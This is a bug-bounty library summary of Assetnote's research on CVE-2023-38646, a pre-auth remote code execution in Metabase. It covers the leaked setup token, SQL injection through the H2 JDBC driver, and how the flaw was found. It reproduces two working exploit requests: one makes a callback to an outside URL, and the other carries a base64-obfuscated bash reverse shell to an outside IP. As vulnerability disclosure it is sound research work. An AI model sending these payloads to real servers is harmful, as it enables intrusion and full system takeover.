# Chaining our way to Pre-Auth RCE in Metabase (CVE-2023-38646)

Metabase setup token exposed unauthenticated via /api/session/properties, chained with H2 JDBC SQL injection to achieve pre-auth RCE.

- Payout: Research
- Severity: critical
- Program: Metabase
- Write-up by: Assetnote
- Disclosed: 2025-02-12
- CVE: CVE-2023-38646
- Write-up quality: 9/10
- Original: https://www.assetnote.io/resources/research/chaining-our-way-to-pre-auth-rce-in-metabase-cve-2023-38646
- Library page: https://bugbountylibrary.com/r/blog%3Aassetnote-io-resources-research-chaining-our-way-to-pre-auth-rce-in-metabase-cve-2023-38646
- Tags: area:web domain:web impact:rce kind:research platform:research sev:critical tech:java technique:chained technique:incomplete-fix technique:source-review vuln:rce vuln:sqli

**Target:** Metabase web application, /api/setup/validate endpoint
**Root cause:** A refactoring commit removed code that deleted the setup token after setup, leaving it exposed. The setup validation endpoint accepts JDBC URIs, and the H2 driver allows SQL injection via TRACE_LEVEL_SYSTEM_OUT, enabling arbitrary code execution.
**Steps:**
1. Obtain setup token from `/api/session/properties` or HTML source of login page.
2. Send POST to `/api/setup/validate` with JSON body containing token and details with engine 'h2' and db string: `zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER IAMPWNED BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\nnew java.net.URL('https://example.com/pwn134').openConnection().getContentLength()\n$$--=x\\;`
3. For reverse shell, replace JavaScript with `java.lang.Runtime.getRuntime().exec('bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEuMS4xLjEvOTk5OCAwPiYx}|{base64,-d}|{bash,-i}')` and adjust IP/port.
**How found:** During traffic capture of installation steps, noticed setup-token present post-install. Audited code and historical commits, found commit from Jan 2022 that removed token deletion logic. Then explored JDBC attack vectors, discovered H2 INIT blocked but found alternative SQL injection via TRACE_LEVEL_SYSTEM_OUT.
**Exploitation:** Attacker retrieves exposed setup token, then sends crafted JDBC URI to /api/setup/validate. The H2 driver executes stacked SQL via TRACE_LEVEL_SYSTEM_OUT, creating a trigger that runs JavaScript, leading to code execution. Using zip URI to sample database avoids corrupting live databases.
**Escalation:** Chained exposed token with SQL injection in H2 driver to achieve pre-auth RCE, then reverse shell for full system access.
**Insight:** Look for leftover setup tokens after installation; historical commits can reveal removed security checks. When a known attack vector (H2 INIT) is blocked, search for alternative parameters that allow SQL injection in JDBC drivers.

## Proof of concept (copied exactly from the original report)

**PoC request triggering H2 SQL injection RCE**

```
POST /api/setup/validate HTTP/1.1
Host: localhost
Content-Type: application/json
Content-Length: 566

{
    "token": "5491c003-41c2-482d-bab4-6e174aa1738c",
    "details":
    {
        "is_on_demand": false,
        "is_full_sync": false,
        "is_sample": false,
        "cache_ttl": null,
        "refingerprint": false,
        "auto_run_queries": true,
        "schedules":
        {},
        "details":
        {
            "db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER IAMPWNED BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\nnew java.net.URL('https://example.com/pwn134').openConnection().getContentLength()\n$$--=x\\;",
            "advanced-options": false,
            "ssl": true
        },
        "name": "an-sec-research-team",
        "engine": "h2"
    }
}
```

**Reverse shell payload via H2 trigger**

```
POST /api/setup/validate HTTP/1.1
Host: localhost
Content-Type: application/json
Content-Length: 812

{
    "token": "5491c003-41c2-482d-bab4-6e174aa1738c",
    "details":
    {
        "is_on_demand": false,
        "is_full_sync": false,
        "is_sample": false,
        "cache_ttl": null,
        "refingerprint": false,
        "auto_run_queries": true,
        "schedules":
        {},
        "details":
        {
            "db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEuMS4xLjEvOTk5OCAwPiYx}|{base64,-d}|{bash,-i}')\n$$--=x",
            "advanced-options": false,
            "ssl": true
        },
        "name": "an-sec-research-team",
        "engine": "h2"
    }
}
```

